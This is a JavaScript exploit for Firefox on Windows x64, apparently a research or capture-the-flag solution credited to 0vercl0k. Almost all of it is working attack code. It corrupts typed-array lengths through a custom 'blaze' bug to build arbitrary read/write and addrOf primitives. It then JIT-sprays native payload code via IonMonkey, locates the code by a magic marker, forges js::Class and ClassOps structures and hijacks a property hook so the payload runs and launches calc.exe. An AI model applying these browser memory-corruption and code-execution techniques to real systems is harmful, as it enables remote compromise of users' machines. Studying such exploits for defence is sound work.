text: // Axel '0vercl0k' Souchet - 13 November 2018
  //
  // Exploit for firefox.exe on Windows x64. Abuses IonMonkey to JIT an entire native
  // code payload that CreateProcesses calc.exe and continues execution.
  //
  
  const Debug = false;
  const dbg = function (p) {
      if(Debug == false) {
          return;
      }
  
      print('Debug: ' + p);
  };
  
  function DivineComedie() {
  
      //
      // If launched in a browser, let's just redirect all logs into
      // a textarea element.
      //
  
      if(document != undefined) {
          print = function (p) {
              document.getElementById('log').value += p + '\n';
              console.log(p);
          };
      }
  
      const Smalls = new Array(1, 2, 3, 4);
      const U8A = new Uint8Array(4);
  
      print('[*] Smalls is hella blazin rn..');
      Smalls.blaze();
  
  
      //
      // Tamper the ArrayBuffer1's byteLength field via Smalls.
      //
  
      const Smalls2U8A = 11;
      Smalls[Smalls2U8A] = 0x100;
  
      if(U8A.byteLength != 0x100) {
          throw 'The corruption of the length did not work out, aborting.';
      }
  
      class __Pwn {
          constructor() {
              this.SavedBase = Smalls[13];
          }
  
          __Access(Addr, LengthOrValues) {
              if(typeof Addr == 'string') {
                  Addr = new Int64(Addr);
              }
  
              const IsRead = typeof LengthOrValues == 'number';
              let Length = LengthOrValues;
              if(!IsRead) {
                  Length = LengthOrValues.length;
              }
  
              if(IsRead) {
                  dbg('Read(' + Addr.toString(16) + ', ' + Length + ')');
              } else {
                  dbg('Write(' + Addr.toString(16) + ', ' + Length + ')');
              }
  
              //
              // Fix U8A's length
              //
  
              Smalls[Smalls2U8A] = Length;
  
              //
              // Verify that we properly corrupted the length of UA8
              //
  
              if(U8A.byteLength != Length) {
                  print("Error: The ArrayBuffer's length doesn't check out");
                  throw 'Error';
              }
  
              //
              // Fix base address
              //
  
              Smalls[Smalls2U8A + 2] = Addr.asDouble();
  
              if(IsRead) {
                  return U8A.slice(0, Length);
              }
  
              U8A.set(LengthOrValues);
          }
  
          Read(Addr, Length) {
              return this.__Access(Addr, Length);
          }
  
          Write(Addr, Values) {
              return this.__Access(Addr, Values);
          }
  
          WritePtr(Addr, Value) {
              const Values = new Int64(Value);
              this.__Access(Addr, Values.bytes());
          }
  
          Read32(Addr) {
              const Bytes = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 0]);
              Bytes.set(this.Read(Addr, 4), 0);
              return new Int64(Bytes);
          }
  
          ReadPtr(Addr) {
              return new Int64(this.Read(Addr, 8));
          }
  
          ReadString(Addr) {
              let S = '';
              while(1337) {
                  let Char = this.Read(Addr, 1)[0];
                  if(Char == 0) {
                      break;
                  }
  
                  S += String.fromCharCode(Char);
                  Addr = Add(Addr, Int64.One);
              }
              return S;
          }
  
          AddrOf(Obj) {
  
              //
              // Fix U8A's byteLength and base.
              //
  
              Smalls[Smalls2U8A] = 8;
              Smalls[Smalls2U8A + 2] = this.SavedBase;
  
              //
              // Below technique uses Smalls.
              //
              // Smalls is contiguous with U8A. Go and write a jsvalue in its buffer,
              // and then read it out via the TypedArray.
              //
  
              Smalls[14] = Obj;
              return Int64.fromJSValue(U8A.slice(0, 8));
          }
      };
  
      const Pwn = new __Pwn(Debug);
  
      //
      // Leak a bunch of stuff
      //
  
      dbg('[+] Smalls is @ ' + Pwn.AddrOf(Smalls).toString(16));
      dbg('[+] U8A is @ ' + Pwn.AddrOf(U8A).toString(16));
  
      //
      // Let's move the battle field to the TenuredHeap
      //
  
      const AB1 = new ArrayBuffer(1);
      const AB2 = new ArrayBuffer(1);
      const AB1Address = Pwn.AddrOf(AB1);
      const AB2Address = Pwn.AddrOf(AB2);
  
      dbg('[+] AB1 is @ ' + AB1Address.toString(16));
      dbg('[+] AB2 is @ ' + AB2Address.toString(16));
      Pwn.Write(
          Add(AB1Address, 0x28),
          [0x00, 0x00, 0x01, 0x00, 0x00, 0x80, 0xf8, 0xff]
      );
      Pwn.Write(
          Add(AB2Address, 0x28),
          [0x00, 0x00, 0x01, 0x00, 0x00, 0x80, 0xf8, 0xff]
      );
  
      Pwn.__Access = function (Addr, LengthOrValues) {
          if(typeof Addr == 'string') {
              Addr = new Int64(Addr);
          }
  
          const IsRead = typeof LengthOrValues == 'number';
          let Length = LengthOrValues;
          if(!IsRead) {
              Length = LengthOrValues.length;
          }
  
          if(IsRead) {
              dbg('Read(' + Addr.toString(16) + ', ' + Length + ')');
          } else {
              dbg('Write(' + Addr.toString(16) + ', ' + Length + ')');
          }
  
          let OddOffset = 0;
          if(Addr.byteAt(0) & 0x1) {
              Length += 1;
              OddOffset = 1;
          }
  
          if(AB1.byteLength < Length) {
              print("Error: The ArrayBuffer's length is too small, aborting.");
              throw 'Error';
          }
  
          //
          // Fix base address (need to be rshifted XXX: figure out why)
          //
  
          Addr = RShift1(Addr);
          const Biggie = new Uint8Array(AB1);
          for(const [Idx, Byte] of Addr.bytes().entries()) {
              Biggie[Idx + 0x40] = Byte;
          }
  
          const View = new Uint8Array(AB2);
          if(IsRead) {
              return View.slice(OddOffset, Length);
          }
  
          for(const [Idx, Byte] of LengthOrValues.entries()) {
              View[OddOffset + Idx] = Byte;
          }
      };
  
      Pwn.AddrOf = function (Obj) {
  
          //
          // Technique from saelo's foxpwn exploit
          //
  
          AB2.hell_on_earth = Obj;
          const SlotsAddressRaw = new Uint8Array(AB1).slice(48, 48 + 8);
          const SlotsAddress = new Int64(SlotsAddressRaw);
          return Int64.fromJSValue(this.Read(SlotsAddress, 8));
      };
  
      //
      // Bring your own gadgetz boiz!
      //
  
      const Magic = '0vercl0k'.split('').map(c => c.charCodeAt(0));
      for(let Idx = 0; Idx < 12; Idx++) {
          BringYourOwnPayload();
      }
  
      //
      // Retrieve addresses of the gadgets
      //
  
      const BringYourOwnPayloadAddress = Pwn.AddrOf(BringYourOwnPayload);
      const JsScriptAddress = Pwn.ReadPtr(
          Add(BringYourOwnPayloadAddress, 0x30)
      );
  
      const JittedAddress = Pwn.ReadPtr(JsScriptAddress);
      print('[+] JITed function is @ ' + JittedAddress.toString(16));
  
      let JitPageStart = alignDownPage(JittedAddress);
      print('[+] JIT page of gadget store is @ ' + JitPageStart.toString(16));
  
      //
      // Scan the JIT page, pages by pages until finding the magic value. Our
      // gadgets follow it.
      //
  
      let MagicAddress = 0;
      let FoundMagic = false;
      for(let PageIdx = 0; PageIdx < 10 && !FoundMagic; PageIdx++) {
          const JitPageContent = Pwn.Read(JitPageStart, 0x1000);
          print('[+] Scanning JIT page @ ' + JitPageStart.toString(16));
          for(let ContentIdx = 0; ContentIdx < JitPageContent.byteLength; ContentIdx++) {
              const Needle = JitPageContent.subarray(
                  ContentIdx, ContentIdx + Magic.length
              );
  
              if(ArrayCmp(Needle, Magic)) {
  
                  //
                  // If we find the magic value, then we compute its address, and we getta outta here!
                  //
  
                  MagicAddress = Add(JitPageStart, ContentIdx);
                  FoundMagic = true;
                  break;
              }
          }
  
          JitPageStart = Add(JitPageStart, 0x1000);
      }
  
      if(!FoundMagic) {
          print("[-] Didn't find the magic, aborting.");
          return;
      }
  
      print('[+] Magic is at @ ' + MagicAddress.toString(16));
      const PayloadAddress = Add(MagicAddress, 0x8 + 7 + 2);
  
      print('[+] PayloadAddress is @ ' + PayloadAddress.toString(16));
  
      //
      // Prepare the backing buffer for the ROP chain. It is also the
      // object we will use to hijack control flow later.
      //
  
      const TargetSize = 0x10000;
      const Target = new Uint8Array(TargetSize);
      const TargetBufferAddress = Pwn.ReadPtr(
          Add(Pwn.AddrOf(Target), 8 * 7)
      );
  
      //
      // Retrieve a bunch of addresses needed to replace Target's clasp_ field
      //
  
      const TargetAddress = Pwn.AddrOf(Target);
      const TargetGroup_ = Pwn.ReadPtr(TargetAddress);
      const TargetClasp_ = Pwn.ReadPtr(TargetGroup_);
      const TargetcOps = Pwn.ReadPtr(Add(TargetClasp_, 0x10));
      const TargetClasp_Address = Add(TargetGroup_, 0x0);
  
      const TargetShapeOrExpando_ = Pwn.ReadPtr(Add(TargetAddress, 0x8));
      const TargetBase_ = Pwn.ReadPtr(TargetShapeOrExpando_);
      const TargetBaseClasp_Address = Add(TargetBase_, 0);
  
      //
      // Prepare backing memory for the js::Class object, as well as the js::ClassOps object
      //
  
      // 0:000> ?? sizeof(js!js::Class) + sizeof(js::ClassOps)
      // unsigned int64 0x88
      const MemoryBackingObject = new Uint8Array(0x88);
      const MemoryBackingObjectAddress = Pwn.AddrOf(MemoryBackingObject);
      const ClassMemoryBackingAddress = Pwn.ReadPtr(Add(MemoryBackingObjectAddress, 7 * 8));
      // 0:000> ?? sizeof(js!js::Class)
      // unsigned int64 0x30
      const ClassOpsMemoryBackingAddress = Add(ClassMemoryBackingAddress, 0x30);
      dbg('[+] js::Class / js::ClassOps backing memory is @ ' + Pwn.AddrOf(MemoryBackingObject).toString(16));
  
      //
      // Copy the original Class object into our backing memory, and hijack
      // the cOps field
      //
  
      MemoryBackingObject.set(Pwn.Read(TargetClasp_, 0x30), 0);
      MemoryBackingObject.set(ClassOpsMemoryBackingAddress.bytes(), 0x10);
  
      //
      // Copy the original ClassOps object into our backing memory and hijack
      // the add property
      //
  
      MemoryBackingObject.set(Pwn.Read(TargetcOps, 0x50), 0x30);
      MemoryBackingObject.set(PayloadAddress.bytes(), 0x30);
  
      //
      // At this point, hijack Target's clasp_ fields; from both group and the
      // shape. Note that we also update the shape as there's an assert in
      // the debug build that makes sure the two classes matches
      //
  
      print("[*] Overwriting Target's clasp_ @ " + TargetClasp_Address.toString(16));
      Pwn.WritePtr(TargetClasp_Address, ClassMemoryBackingAddress);
      print("[*] Overwriting Target's shape clasp_ @ " + TargetBaseClasp_Address.toString(16));
      Pwn.WritePtr(TargetBaseClasp_Address, ClassMemoryBackingAddress);
  
      //
      // Let's pull the trigger now
      //
  
      print('[*] Pulling the trigger bebe..');
      Target.im_falling_and_i_cant_turn_back = 1;
  }
  